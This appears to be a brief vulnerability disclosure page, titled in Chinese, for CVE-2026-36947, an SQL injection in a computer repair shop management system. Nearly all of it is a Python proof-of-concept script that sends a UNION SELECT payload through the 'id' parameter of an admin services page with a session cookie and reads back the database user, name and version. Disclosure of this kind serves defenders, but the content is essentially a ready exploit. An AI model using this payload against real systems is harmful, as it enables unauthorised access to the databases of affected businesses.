CVE-2026-36947: 计算机维修店管理系统存在SQL注入漏洞

import requests # Target URL (Example) target_url = "http://example.com/rsms/admin/services/view_service.php" # Attacker's Session Cookie (Required due to PR:H) cookies = { "PHPSESSID": "valid_admin_session_id_here" } # Vulnerable parameter assumption (e.g., 'id') payload = { "id": "1' UNION SELECT 1, user(), database(), version()-- -" } try: response = requests.get(target_url, params=payload, cookies=cookies) # Check if database information is reflected in the response if "root@" in response.text or "information_schema" in response.text: print("[+] Vulnerability Confirmed: SQL Injection successful.") print("[+] Response snippet:", response.text[:200]) else: print("[-] Exploit failed or patch applied.") except Exception as e: print(f"Error: {e}")